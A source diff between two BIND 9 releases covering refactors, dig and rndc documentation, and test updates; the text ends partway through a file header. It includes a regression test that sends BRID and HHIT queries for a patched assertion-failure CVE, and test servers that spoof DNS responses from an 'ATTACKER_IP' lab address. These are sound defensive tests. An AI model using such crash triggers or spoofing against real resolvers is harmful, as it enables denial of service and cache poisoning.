bind9-9.20.21/bin/delv/delv.c --- bind9-9.20.18/bin/delv/delv.c 2026-01-09 13:39:27.945968622 +0000 +++ bind9-9.20.21/bin/delv/delv.c 2026-03-13 22:01:10.471884698 +0000 @@ -1820,7 +1820,7 @@ static isc_result_t reverse_octets(const char *in, char **p, char *end) { - char *dot = strchr(in, '.'); + const char *dot = strchr(in, '.'); int len; if (dot != NULL) { isc_result_t result; diff -Nru bind9-9.20.18/bin/dig/dig.rst bind9-9.20.21/bin/dig/dig.rst --- bind9-9.20.18/bin/dig/dig.rst 2026-01-09 13:39:27.946968648 +0000 +++ bind9-9.20.21/bin/dig/dig.rst 2026-03-13 22:01:10.471884698 +0000 @@ -227,7 +227,7 @@ assign values to options, like the timeout interval. They have the form ``+keyword=value``. Keywords may be abbreviated, provided the abbreviation is unambiguous; for example, :option:`+cd` is equivalent to -:option:`+cdflag`. The query options are: +:option:`+cdflag`. Query options are order sensitive. The query options are: .. option:: +aaflag, +noaaflag @@ -812,6 +812,29 @@ ``${HOME}/.digrc`` +Examples +~~~~~~~~ + +Only display the IP address(es) for example.com:: + + dig +short example.com + +Query the nameserver f.gtld-servers.net for example.com:: + + dig @f.gtld-servers.net example.com + +Look up the TXT record for example.com:: + + dig txt example.com + +Look up the hostname for an IP with reverse DNS:: + + dig -x 192.0.2.1 + +Display a much shorter output with just the name, record type, TTL, and value for each answer:: + + dig +noall +answer example.com + See Also ~~~~~~~~ diff -Nru bind9-9.20.18/bin/dnssec/dnssec-ksr.c bind9-9.20.21/bin/dnssec/dnssec-ksr.c --- bind9-9.20.18/bin/dnssec/dnssec-ksr.c 2026-01-09 13:39:27.949968727 +0000 +++ bind9-9.20.21/bin/dnssec/dnssec-ksr.c 2026-03-13 22:01:10.475884570 +0000 @@ -1211,7 +1211,6 @@ } if (strcmp(STR(token), ";;") == 0) { - char bundle[KSR_LINESIZE]; isc_stdtime_t next_inception; CHECK(isc_lex_gettoken(lex, opt, &token)); @@ -1245,9 +1244,8 @@ } /* Date and time of bundle */ - sscanf(STR(token), "%s", bundle); - next_inception = strtotime(bundle, ksr->now, ksr->now, - NULL); + next_inception = strtotime(STR(token), ksr->now, + ksr->now, NULL); if (have_bundle) { /* Sign previous bundle */ diff -Nru bind9-9.20.18/bin/named/main.c bind9-9.20.21/bin/named/main.c --- bind9-9.20.18/bin/named/main.c 2026-01-09 13:39:27.955968884 +0000 +++ bind9-9.20.21/bin/named/main.c 2026-03-13 22:01:10.480884410 +0000 @@ -120,6 +120,9 @@ extern unsigned int dns_zone_mkey_day; extern unsigned int dns_zone_mkey_month; +extern unsigned int dns_adb_entrywindow; +extern unsigned int dns_adb_cachemin; + static bool want_stats = false; static char program_name[NAME_MAX] = "named"; static char absolute_conffile[PATH_MAX]; @@ -802,6 +805,10 @@ transferstuck = true; } else if (!strncmp(option, "tat=", 4)) { named_g_tat_interval = atoi(option + 4); + } else if (!strncmp(option, "adbentrywindow=", 15)) { + dns_adb_entrywindow = atoi(option + 15); + } else if (!strncmp(option, "adbcachemin=", 12)) { + dns_adb_cachemin = atoi(option + 12); } else { fprintf(stderr, "unknown -T flag '%s'\n", option); } diff -Nru bind9-9.20.18/bin/named/server.c bind9-9.20.21/bin/named/server.c --- bind9-9.20.18/bin/named/server.c 2026-01-09 13:39:27.956968911 +0000 +++ bind9-9.20.21/bin/named/server.c 2026-03-13 22:01:10.482884346 +0000 @@ -24,6 +24,8 @@ #include #include +#include + #ifdef HAVE_DNSTAP #include #endif @@ -280,10 +282,10 @@ * asynchronously. */ typedef struct matching_view_ctx { - isc_netaddr_t *srcaddr; - isc_netaddr_t *destaddr; + isc_netaddr_t srcaddr; + isc_netaddr_t destaddr; dns_message_t *message; - dns_aclenv_t *env; + dns_aclenv_t *aclenv; ns_server_t *sctx; isc_loop_t *loop; isc_job_cb cb; @@ -8419,7 +8421,7 @@ dns_view_t *view_next = NULL; dns_viewlist_t tmpviewlist; dns_viewlist_t viewlist, builtin_viewlist; - in_port_t listen_port, udpport_low, udpport_high; + in_port_t listen_port, port_low, port_high; int i, backlog; isc_interval_t interval; isc_logconfig_t *logc = NULL; @@ -8849,28 +8851,18 @@ if (usev4ports != NULL) { portset_fromconf(v4portset, usev4ports, true); } else { - result = isc_net_getudpportrange(AF_INET, &udpport_low, - &udpport_high); - if (result != ISC_R_SUCCESS) { - isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL, - NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR, - "get the default UDP/IPv4 port range: %s", - isc_result_totext(result)); - goto cleanup_v6portset; - } - - if (udpport_low == udpport_high) { - isc_portset_add(v4portset, udpport_low); + isc_net_getportrange(AF_INET, &port_low, &port_high); + if (port_low == port_high) { + isc_portset_add(v4portset, port_low); } else { - isc_portset_addrange(v4portset, udpport_low, - udpport_high); + isc_portset_addrange(v4portset, port_low, port_high); } if (!ns_server_getoption(server->sctx, NS_SERVER_DISABLE4)) { isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL, NAMED_LOGMODULE_SERVER, ISC_LOG_INFO, "using default UDP/IPv4 port range: " "[%d, %d]", - udpport_low, udpport_high); + port_low, port_high); } } (void)named_config_get(maps, "avoid-v4-udp-ports", &avoidv4ports); @@ -8882,27 +8874,18 @@ if (usev6ports != NULL) { portset_fromconf(v6portset, usev6ports, true); } else { - result = isc_net_getudpportrange(AF_INET6, &udpport_low, - &udpport_high); - if (result != ISC_R_SUCCESS) { - isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL, - NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR, - "get the default UDP/IPv6 port range: %s", - isc_result_totext(result)); - goto cleanup_v6portset; - } - if (udpport_low == udpport_high) { - isc_portset_add(v6portset, udpport_low); + isc_net_getportrange(AF_INET6, &port_low, &port_high); + if (port_low == port_high) { + isc_portset_add(v6portset, port_low); } else { - isc_portset_addrange(v6portset, udpport_low, - udpport_high); + isc_portset_addrange(v6portset, port_low, port_high); } if (!ns_server_getoption(server->sctx, NS_SERVER_DISABLE6)) { isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL, NAMED_LOGMODULE_SERVER, ISC_LOG_INFO, "using default UDP/IPv6 port range: " "[%d, %d]", - udpport_low, udpport_high); + port_low, port_high); } } (void)named_config_get(maps, "avoid-v6-udp-ports", &avoidv6ports); @@ -10375,6 +10358,8 @@ mvctx->cb(mvctx->cbarg); + dns_aclenv_detach(&mvctx->aclenv); + if (mvctx->quota_result == ISC_R_SUCCESS) { isc_quota_release(&mvctx->sctx->sig0checksquota); } @@ -10416,10 +10401,10 @@ tsig = dns_tsigkey_identity(mvctx->message->tsigkey); } - if (dns_acl_allowed(mvctx->srcaddr, tsig, mvctx->view->matchclients, - mvctx->env) && - dns_acl_allowed(mvctx->destaddr, tsig, - mvctx->view->matchdestinations, mvctx->env) && + if (dns_acl_allowed(&mvctx->srcaddr, tsig, mvctx->view->matchclients, + mvctx->aclenv) && + dns_acl_allowed(&mvctx->destaddr, tsig, + mvctx->view->matchdestinations, mvctx->aclenv) && !(mvctx->view->matchrecursiveonly && (mvctx->message->flags & DNS_MESSAGEFLAG_RD) == 0)) { @@ -10491,9 +10476,9 @@ matching_view_ctx_t *mvctx = isc_mem_get(message->mctx, sizeof(*mvctx)); *mvctx = (matching_view_ctx_t){ - .srcaddr = srcaddr, - .destaddr = destaddr, - .env = env, + .srcaddr = *srcaddr, + .destaddr = *destaddr, + .aclenv = dns_aclenv_ref(env), .cb = cb, .cbarg = cbarg, .sigresult = sigresult, diff -Nru bind9-9.20.18/bin/named/statschannel.c bind9-9.20.21/bin/named/statschannel.c --- bind9-9.20.18/bin/named/statschannel.c 2026-01-09 13:39:27.957968937 +0000 +++ bind9-9.20.21/bin/named/statschannel.c 2026-03-13 22:01:10.483884314 +0000 @@ -58,11 +58,11 @@ #define STATS_XML_VERSION_MAJOR "3" #define STATS_XML_VERSION_MINOR "14" -#define STATS_XML_VERSION STATS_XML_VERSION_MAJOR "." STATS_XML_VERSION_MINOR +#define STATS_XML_VERSION STATS_XML_VERSION_MAJOR "." STATS_XML_VERSION_MINOR #define STATS_JSON_VERSION_MAJOR "1" #define STATS_JSON_VERSION_MINOR "8" -#define STATS_JSON_VERSION STATS_JSON_VERSION_MAJOR "." STATS_JSON_VERSION_MINOR +#define STATS_JSON_VERSION STATS_JSON_VERSION_MAJOR "." STATS_JSON_VERSION_MINOR struct named_statschannel { /* Unlocked */ diff -Nru bind9-9.20.18/bin/nsupdate/nsupdate.c bind9-9.20.21/bin/nsupdate/nsupdate.c --- bind9-9.20.18/bin/nsupdate/nsupdate.c 2026-01-09 13:39:27.958968963 +0000 +++ bind9-9.20.21/bin/nsupdate/nsupdate.c 2026-03-13 22:01:10.484884282 +0000 @@ -771,14 +771,12 @@ result = isc_portset_create(gmctx, &v4portset); check_result(result, "isc_portset_create (v4)"); - result = isc_net_getudpportrange(AF_INET, &udpport_low, &udpport_high); - check_result(result, "isc_net_getudpportrange (v4)"); + isc_net_getportrange(AF_INET, &udpport_low, &udpport_high); isc_portset_addrange(v4portset, udpport_low, udpport_high); result = isc_portset_create(gmctx, &v6portset); check_result(result, "isc_portset_create (v6)"); - result = isc_net_getudpportrange(AF_INET6, &udpport_low, &udpport_high); - check_result(result, "isc_net_getudpportrange (v6)"); + isc_net_getportrange(AF_INET6, &udpport_low, &udpport_high); isc_portset_addrange(v6portset, udpport_low, udpport_high); result = dns_dispatchmgr_setavailports(manager, v4portset, v6portset); diff -Nru bind9-9.20.18/bin/rndc/rndc.c bind9-9.20.21/bin/rndc/rndc.c --- bind9-9.20.18/bin/rndc/rndc.c 2026-01-09 13:39:27.959968989 +0000 +++ bind9-9.20.21/bin/rndc/rndc.c 2026-03-13 22:01:10.485884250 +0000 @@ -114,6 +114,10 @@ dnssec -status zone [class [view]]\n\ Show the DNSSEC signing state for the specified zone.\n\ Requires the zone to have a dnssec-policy.\n\ + dnssec -step zone [class [view]]\n\ + Run the key manager for a zone configured with a\n\ + dnssec-policy in manual mode, executing the operations that\n\ + had previously been blocked (if any).\n\ dnstap -reopen\n\ Close, truncate and re-open the DNSTAP output file.\n\ dnstap -roll [count]\n\ diff -Nru bind9-9.20.18/bin/rndc/rndc.rst bind9-9.20.21/bin/rndc/rndc.rst --- bind9-9.20.18/bin/rndc/rndc.rst 2026-01-09 13:39:27.960969015 +0000 +++ bind9-9.20.21/bin/rndc/rndc.rst 2026-03-13 22:01:10.486884218 +0000 @@ -171,34 +171,51 @@ See also :option:`rndc addzone` and :option:`rndc modzone`. -.. option:: dnssec (-status | -step | -rollover -key id [-alg algorithm] [-when time] | -checkds [-key id [-alg algorithm]] [-when time] published | withdrawn)) zone [class [view]] +.. option:: dnssec - This command allows you to interact with the "dnssec-policy" of a given - zone. + The following commands allow you to interact with the "dnssec-policy" of a + given zone. - ``rndc dnssec -status`` show the DNSSEC signing state for the specified - zone. + .. program:: rndc dnssec + .. option:: -checkds [-key id [-alg algorithm]] [-when time] (published | withdrawn) zone [class [view]] - ``rndc dnssec -step`` sends a signal to an instance of :iscman:`named` for a - zone configured with ``dnssec-policy`` in manual mode, telling it to - continue with the operations that had previously been blocked but logged. - This gives the human operator a chance to review the log messages, - understand what will happen next and then, using ``rndc dnssec -step``, to - inform :iscman:`named` to proceed to the next stage. - - ``rndc dnssec -rollover`` allows you to schedule key rollover for a - specific key (overriding the original key lifetime). - - ``rndc dnssec -checkds`` informs :iscman:`named` that the DS for - a specified zone's key-signing key has been confirmed to be published - in, or withdrawn from, the parent zone. This is required in order to - complete a KSK rollover. The ``-key id`` and ``-alg algorithm`` arguments - can be used to specify a particular KSK, if necessary; if there is only - one key acting as a KSK for the zone, these arguments can be omitted. - The time of publication or withdrawal for the DS is set to the current - time by default, but can be overridden to a specific time with the - argument ``-when time``, where ``time`` is expressed in YYYYMMDDHHMMSS - notation. + This command informs :iscman:`named` that the DS for a specified zone's + key-signing key (KSK) has been confirmed to be published in, or withdrawn + from, the parent zone. This is required in order to complete a KSK + rollover. The ``-key id`` and ``-alg algorithm`` arguments can be used to + specify a particular KSK, if necessary; if there is only one key acting + as a KSK for the zone, these arguments can be omitted. The time of + publication or withdrawal for the DS is set to the current time by + default, but can be overridden to a specific time with the argument + ``-when time``, where ``time`` is expressed in YYYYMMDDHHMMSS notation. + + .. program:: rndc dnssec + .. option:: -rollover -key id [-alg algorithm] [-when time] zone [class [view]] + + This command allows you to schedule key rollover for a specific key + (overriding the original key lifetime). The ``-key id`` and + ``-alg algorithm`` arguments specify which key to roll. The time to start + the rollover can be set with ``-when time``, where ``time`` is expressed in + YYYYMMDDHHMMSS. If not set the rollover will start immediately. + + .. program:: rndc dnssec + .. option:: -status [-v] zone [class [view]] + + This command shows the DNSSEC signing state for the specified zone. + Adding ``-v`` also lists no longer used keys and shows the key states of + the keys. + + .. program:: rndc dnssec + .. option:: -step zone [class [view]] + + This command sends a signal to an instance of :iscman:`named` for a + zone configured with ``dnssec-policy`` in manual mode, telling it to + continue with the operations that had previously been blocked but logged. + This gives the human operator a chance to review the log messages, + understand what will happen next and then, using ``rndc dnssec -step``, to + inform :iscman:`named` to proceed to the next stage. + +.. program:: rndc .. option:: dnstap (-reopen | -roll [number]) diff -Nru bind9-9.20.18/bin/tests/Makefile.am bind9-9.20.21/bin/tests/Makefile.am --- bind9-9.20.18/bin/tests/Makefile.am 2026-01-09 13:39:27.960969015 +0000 +++ bind9-9.20.21/bin/tests/Makefile.am 2026-03-13 22:01:10.486884218 +0000 @@ -1,6 +1,6 @@ include $(top_srcdir)/Makefile.top -EXTRA_DIST = convert-trs-to-junit.py +EXTRA_DIST = convert_trs_to_junit.py SUBDIRS = system diff -Nru bind9-9.20.18/bin/tests/Makefile.in bind9-9.20.21/bin/tests/Makefile.in --- bind9-9.20.18/bin/tests/Makefile.in 2026-01-09 13:40:26.064491578 +0000 +++ bind9-9.20.21/bin/tests/Makefile.in 2026-03-13 22:05:15.443595681 +0000 @@ -512,7 +512,7 @@ LIBISCCC_LIBS = \ $(top_builddir)/lib/isccc/libisccc.la -EXTRA_DIST = convert-trs-to-junit.py +EXTRA_DIST = convert_trs_to_junit.py SUBDIRS = system test_client_CPPFLAGS = \ $(AM_CPPFLAGS) \ diff -Nru bind9-9.20.18/bin/tests/convert-trs-to-junit.py bind9-9.20.21/bin/tests/convert-trs-to-junit.py --- bind9-9.20.18/bin/tests/convert-trs-to-junit.py 2026-01-09 13:39:27.960969015 +0000 +++ bind9-9.20.21/bin/tests/convert-trs-to-junit.py 1970-01-01 00:00:00.000000000 +0000 @@ -1,154 +0,0 @@ -#!/usr/bin/env python3 -# -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# Convert automake .trs files into JUnit format suitable for Gitlab - -import argparse -import os -import sys -from xml.etree import ElementTree -from xml.etree.ElementTree import Element -from xml.etree.ElementTree import SubElement - - -# getting explicit encoding specification right for Python 2/3 would be messy, -# so let's hope for the best -def read_whole_text(filename): - with open(filename) as inf: # pylint: disable-msg=unspecified-encoding - return inf.read().strip() - - -def read_trs_result(filename): - result = None - with open(filename, "r") as trs: # pylint: disable-msg=unspecified-encoding - for line in trs: - items = line.split() - if len(items) < 2: - raise ValueError("unsupported line in trs file", filename, line) - if items[0] != (":global-test-result:"): - continue - if result is not None: - raise NotImplementedError("double :global-test-result:", filename) - result = items[1].upper() - - if result is None: - raise ValueError(":global-test-result: not found", filename) - - return result - - -def find_test_relative_path(source_dir, in_path): - """Return {in_path}.c if it exists, with fallback to {in_path}""" - candidates_relative = [in_path + ".c", in_path] - for relative in candidates_relative: - absolute = os.path.join(source_dir, relative) - if os.path.exists(absolute): - return relative - raise KeyError - - -def err_out(exception): - raise exception - - -def walk_trss(source_dir): - for cur_dir, _dirs, files in os.walk(source_dir, onerror=err_out): - for filename in files: - if not filename.endswith(".trs"): - continue - - filename_prefix = filename[: -len(".trs")] - log_name = filename_prefix + ".log" - full_trs_path = os.path.join(cur_dir, filename) - full_log_path = os.path.join(cur_dir, log_name) - sub_dir = os.path.relpath(cur_dir, source_dir) - test_dir_path = os.path.join(sub_dir, filename_prefix) - - if sub_dir.startswith("bin/tests/system"): - # Match the `pytest` style test names for system tests - test_name = f"test_{filename_prefix}" - else: - test_name = test_dir_path - - t = { - "name": test_name, - "full_log_path": full_log_path, - "rel_log_path": os.path.relpath(full_log_path, source_dir), - } - t["result"] = read_trs_result(full_trs_path) - - # try to find dir/file path for a clickable link - try: - t["rel_file_path"] = find_test_relative_path(source_dir, test_dir_path) - except KeyError: - pass # no existing path found - - yield t - - -def append_testcase(testsuite, t): - # attributes taken from - # https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/lib/gitlab/ci/parsers/test/junit.rb - attrs = {"name": t["name"]} - if "rel_file_path" in t: - attrs["file"] = t["rel_file_path"] - - testcase = SubElement(testsuite, "testcase", attrs) - - # Gitlab accepts only [[ATTACHMENT| links for system-out, not raw text - s = SubElement(testcase, "system-out") - s.text = "[[ATTACHMENT|" + t["rel_log_path"] + "]]" - if t["result"].lower() == "pass": - return - - # Gitlab shows output only for failed or skipped tests - if t["result"].lower() == "skip": - err = SubElement(testcase, "skipped") - else: - err = SubElement(testcase, "failure") - err.text = read_whole_text(t["full_log_path"]) - - -def gen_junit(results): - testsuites = Element("testsuites") - testsuite = SubElement(testsuites, "testsuite") - for test in results: - append_testcase(testsuite, test) - return testsuites - - -def check_directory(path): - try: - os.listdir(path) - return path - except OSError as ex: - msg = "Path {} cannot be listed as a directory: {}".format(path, ex) - raise argparse.ArgumentTypeError(msg) - - -def main(): - parser = argparse.ArgumentParser( - description="Recursively search for .trs + .log files and compile " - "them into JUnit XML suitable for Gitlab. Paths in the " - "XML are relative to the specified top directory." - ) - parser.add_argument( - "top_directory", - type=check_directory, - help="root directory where to start scanning for .trs files", - ) - args = parser.parse_args() - junit = gen_junit(walk_trss(args.top_directory)) - - # encode results into file format, on Python 3 it produces bytes - xml = ElementTree.tostring(junit, "utf-8") - # use stdout as a binary file object, Python2/3 compatibility - output = getattr(sys.stdout, "buffer", sys.stdout) - output.write(xml) - - -if __name__ == "__main__": - main() diff -Nru bind9-9.20.18/bin/tests/convert_trs_to_junit.py bind9-9.20.21/bin/tests/convert_trs_to_junit.py --- bind9-9.20.18/bin/tests/convert_trs_to_junit.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/convert_trs_to_junit.py 2026-03-13 22:01:10.486884218 +0000 @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +# +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# Convert automake .trs files into JUnit format suitable for Gitlab + +from xml.etree import ElementTree +from xml.etree.ElementTree import Element, SubElement + +import argparse +import os +import sys + + +def read_whole_text(filename): + with open(filename, encoding="utf-8") as inf: + return inf.read().strip() + + +def read_trs_result(filename): + result = None + with open(filename, "r", encoding="utf-8") as trs: + for line in trs: + items = line.split() + if len(items) < 2: + raise ValueError("unsupported line in trs file", filename, line) + if items[0] != (":global-test-result:"): + continue + if result is not None: + raise NotImplementedError("double :global-test-result:", filename) + result = items[1].upper() + + if result is None: + raise ValueError(":global-test-result: not found", filename) + + return result + + +def find_test_relative_path(source_dir, in_path): + """Return {in_path}.c if it exists, with fallback to {in_path}""" + candidates_relative = [in_path + ".c", in_path] + for relative in candidates_relative: + absolute = os.path.join(source_dir, relative) + if os.path.exists(absolute): + return relative + raise KeyError + + +def err_out(exception): + raise exception + + +def walk_trss(source_dir): + for cur_dir, _dirs, files in os.walk(source_dir, onerror=err_out): + for filename in files: + if not filename.endswith(".trs"): + continue + + filename_prefix = filename[: -len(".trs")] + log_name = filename_prefix + ".log" + full_trs_path = os.path.join(cur_dir, filename) + full_log_path = os.path.join(cur_dir, log_name) + sub_dir = os.path.relpath(cur_dir, source_dir) + test_dir_path = os.path.join(sub_dir, filename_prefix) + + if sub_dir.startswith("bin/tests/system"): + # Match the `pytest` style test names for system tests + test_name = f"test_{filename_prefix}" + else: + test_name = test_dir_path + + t = { + "name": test_name, + "full_log_path": full_log_path, + "rel_log_path": os.path.relpath(full_log_path, source_dir), + } + t["result"] = read_trs_result(full_trs_path) + + # try to find dir/file path for a clickable link + try: + t["rel_file_path"] = find_test_relative_path(source_dir, test_dir_path) + except KeyError: + pass # no existing path found + + yield t + + +def append_testcase(testsuite, t): + # attributes taken from + # https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/lib/gitlab/ci/parsers/test/junit.rb + attrs = {"name": t["name"]} + if "rel_file_path" in t: + attrs["file"] = t["rel_file_path"] + + testcase = SubElement(testsuite, "testcase", attrs) + + # Gitlab accepts only [[ATTACHMENT| links for system-out, not raw text + s = SubElement(testcase, "system-out") + s.text = "[[ATTACHMENT|" + t["rel_log_path"] + "]]" + if t["result"].lower() == "pass": + return + + # Gitlab shows output only for failed or skipped tests + if t["result"].lower() == "skip": + err = SubElement(testcase, "skipped") + else: + err = SubElement(testcase, "failure") + err.text = read_whole_text(t["full_log_path"]) + + +def gen_junit(results): + testsuites = Element("testsuites") + testsuite = SubElement(testsuites, "testsuite") + for test in results: + append_testcase(testsuite, test) + return testsuites + + +def check_directory(path): + try: + os.listdir(path) + return path + except OSError as ex: + msg = f"Path {path} cannot be listed as a directory: {ex}" + raise argparse.ArgumentTypeError(msg) + + +def main(): + parser = argparse.ArgumentParser( + description="Recursively search for .trs + .log files and compile " + "them into JUnit XML suitable for Gitlab. Paths in the " + "XML are relative to the specified top directory." + ) + parser.add_argument( + "top_directory", + type=check_directory, + help="root directory where to start scanning for .trs files", + ) + args = parser.parse_args() + junit = gen_junit(walk_trss(args.top_directory)) + + # encode results into file format, on Python 3 it produces bytes + xml = ElementTree.tostring(junit, "utf-8") + # use stdout as a binary file object, Python2/3 compatibility + output = getattr(sys.stdout, "buffer", sys.stdout) + output.write(xml) + + +if __name__ == "__main__": + main() diff -Nru bind9-9.20.18/bin/tests/system/README.md bind9-9.20.21/bin/tests/system/README.md --- bind9-9.20.18/bin/tests/system/README.md 2026-01-09 13:39:27.961969042 +0000 +++ bind9-9.20.21/bin/tests/system/README.md 2026-03-13 22:01:10.487884186 +0000 @@ -46,16 +46,11 @@ To run system tests, make sure you have the following dependencies installed: -- python3 -- pytest +- python3 (3.10 and newer) - perl -- dnspython -- pytest-xdist (for parallel execution) -- python-jinja2 -Individual system tests might also require additional dependencies. If those -are missing, the affected tests will be skipped and should produce a message -specifying what additional prerequisites they expect. +List of required python packages and their versions can be found in +requirements.txt (can be installed with `pip3 install -r requirements.txt`). ### Network Setup diff -Nru bind9-9.20.18/bin/tests/system/addzone/tests_rndc_deadlock.py bind9-9.20.21/bin/tests/system/addzone/tests_rndc_deadlock.py --- bind9-9.20.18/bin/tests/system/addzone/tests_rndc_deadlock.py 2026-01-09 13:39:27.967969199 +0000 +++ bind9-9.20.21/bin/tests/system/addzone/tests_rndc_deadlock.py 2026-03-13 22:01:10.493883995 +0000 @@ -68,7 +68,7 @@ # Create 4 worker threads running "rndc" commands in a loop. with concurrent.futures.ThreadPoolExecutor() as executor: for i in range(1, 5): - domain = "example%d" % i + domain = f"example{i}" executor.submit(rndc_loop, test_state, domain, ns3) # Run "rndc status" 10 times, with 1-second pauses between attempts. diff -Nru bind9-9.20.18/bin/tests/system/ans.py bind9-9.20.21/bin/tests/system/ans.py --- bind9-9.20.18/bin/tests/system/ans.py 2026-01-09 13:39:27.970969278 +0000 +++ bind9-9.20.21/bin/tests/system/ans.py 2026-03-13 22:01:10.497883867 +0000 @@ -9,9 +9,7 @@ See the COPYRIGHT file distributed with this work for additional information regarding copyright ownership. -""" -""" This is a bare-bones DNS server that only serves data from zone files. It is meant to be used as a replacement for full-blown named instances in system tests when a given server is only required to return zone-based data. @@ -34,9 +32,7 @@ isctest/asyncserver.py. """ -from isctest.asyncserver import ( - AsyncDnsServer, -) +from isctest.asyncserver import AsyncDnsServer def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/auth/ns1/example.com.db bind9-9.20.21/bin/tests/system/auth/ns1/example.com.db --- bind9-9.20.18/bin/tests/system/auth/ns1/example.com.db 2026-01-09 13:39:27.971969304 +0000 +++ bind9-9.20.21/bin/tests/system/auth/ns1/example.com.db 2026-03-13 22:01:10.497883867 +0000 @@ -23,3 +23,6 @@ inzone CNAME a.example.com. a A 10.53.0.1 dname DNAME @ + +brid BRID \# 2 0000 +hhit HHIT \# 2 0000 diff -Nru bind9-9.20.18/bin/tests/system/auth/tests.sh bind9-9.20.21/bin/tests/system/auth/tests.sh --- bind9-9.20.18/bin/tests/system/auth/tests.sh 2026-01-09 13:39:27.971969304 +0000 +++ bind9-9.20.21/bin/tests/system/auth/tests.sh 2026-03-13 22:01:10.497883867 +0000 @@ -196,5 +196,22 @@ [ $ret -eq 0 ] || echo_i "failed" status=$((status + ret)) +# Regression tests for #5616 [CVE-2025-13878] BRID and HHIT assertion failure. +n=$((n + 1)) +echo_i "check that BRID query does not trigger assertion failure ($n)" +ret=0 +$DIG $DIGOPTS @10.53.0.1 brid.example.com BRID >dig.out.test$n +grep "BRID" dig.out.test$n >/dev/null || ret=1 +[ $ret -eq 0 ] || echo_i "failed" +status=$((status + ret)) + +n=$((n + 1)) +echo_i "check that HHIT query does not trigger assertion failure ($n)" +ret=0 +$DIG $DIGOPTS @10.53.0.1 hhit.example.com HHIT >dig.out.test$n +grep "HHIT" dig.out.test$n >/dev/null || ret=1 +[ $ret -eq 0 ] || echo_i "failed" +status=$((status + ret)) + echo_i "exit status: $status" [ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.18/bin/tests/system/bailiwick/ans1/ans.py bind9-9.20.21/bin/tests/system/bailiwick/ans1/ans.py --- bind9-9.20.18/bin/tests/system/bailiwick/ans1/ans.py 2026-01-09 13:39:27.976969435 +0000 +++ bind9-9.20.21/bin/tests/system/bailiwick/ans1/ans.py 2026-03-13 22:01:10.503883675 +0000 @@ -11,19 +11,14 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - QueryContext, - ResponseAction, -) - -from bailiwick_ans import ResponseSpoofer, spoofing_server +from isctest.asyncserver import DnsResponseSend, QueryContext, ResponseAction +from ..bailiwick_ans import ResponseSpoofer, spoofing_server ATTACKER_IP = "10.53.0.3" TTL = 3600 diff -Nru bind9-9.20.18/bin/tests/system/bailiwick/ans2/ans.py bind9-9.20.21/bin/tests/system/bailiwick/ans2/ans.py --- bind9-9.20.18/bin/tests/system/bailiwick/ans2/ans.py 2026-01-09 13:39:27.976969435 +0000 +++ bind9-9.20.21/bin/tests/system/bailiwick/ans2/ans.py 2026-03-13 22:01:10.503883675 +0000 @@ -11,19 +11,14 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - DnsResponseSend, - QueryContext, - ResponseAction, -) - -from bailiwick_ans import ResponseSpoofer, spoofing_server +from isctest.asyncserver import DnsResponseSend, QueryContext, ResponseAction +from ..bailiwick_ans import ResponseSpoofer, spoofing_server ATTACKER_IP = "10.53.0.3" TTL = 3600 diff -Nru bind9-9.20.18/bin/tests/system/bailiwick/ans3/ans.py bind9-9.20.21/bin/tests/system/bailiwick/ans3/ans.py --- bind9-9.20.18/bin/tests/system/bailiwick/ans3/ans.py 2026-01-09 13:39:27.970969278 +0000 +++ bind9-9.20.21/bin/tests/system/bailiwick/ans3/ans.py 2026-03-13 22:01:10.497883867 +0000 @@ -9,9 +9,7 @@ See the COPYRIGHT file distributed with this work for additional information regarding copyright ownership. -""" -""" This is a bare-bones DNS server that only serves data from zone files. It is meant to be used as a replacement for full-blown named instances in system tests when a given server is only required to return zone-based data. @@ -34,9 +32,7 @@ isctest/asyncserver.py. """ -from isctest.asyncserver import ( - AsyncDnsServer, -) +from isctest.asyncserver import AsyncDnsServer def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/bailiwick/bailiwick_ans.py bind9-9.20.21/bin/tests/system/bailiwick/bailiwick_ans.py --- bind9-9.20.18/bin/tests/system/bailiwick/bailiwick_ans.py 2026-01-09 13:39:27.977969462 +0000 +++ bind9-9.20.21/bin/tests/system/bailiwick/bailiwick_ans.py 2026-03-13 22:01:10.503883675 +0000 @@ -11,8 +11,6 @@ information regarding copyright ownership. """ -from typing import Dict, List, Optional, Type - import abc import dns.name @@ -30,14 +28,14 @@ class ResponseSpoofer(ResponseHandler, abc.ABC): - spoofers: Dict[str, Type["ResponseSpoofer"]] = {} + spoofers: dict[str, type["ResponseSpoofer"]] = {} def __init_subclass__(cls, mode: str) -> None: assert mode not in cls.spoofers cls.spoofers[mode] = cls @classmethod - def get_spoofer(cls, mode: str) -> Optional["ResponseSpoofer"]: + def get_spoofer(cls, mode: str) -> "ResponseSpoofer | None": try: return cls.spoofers[mode]() except KeyError: @@ -66,11 +64,11 @@ control_subdomain = "set-spoofing-mode" def __init__(self) -> None: - self._current_handler: Optional[ResponseSpoofer] = None + self._current_handler: ResponseSpoofer | None = None def handle( - self, args: List[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> Optional[str]: + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: if len(args) != 1: qctx.response.set_rcode(dns.rcode.SERVFAIL) return "invalid control command" diff -Nru bind9-9.20.18/bin/tests/system/bailiwick/tests_bailiwick.py bind9-9.20.21/bin/tests/system/bailiwick/tests_bailiwick.py --- bind9-9.20.18/bin/tests/system/bailiwick/tests_bailiwick.py 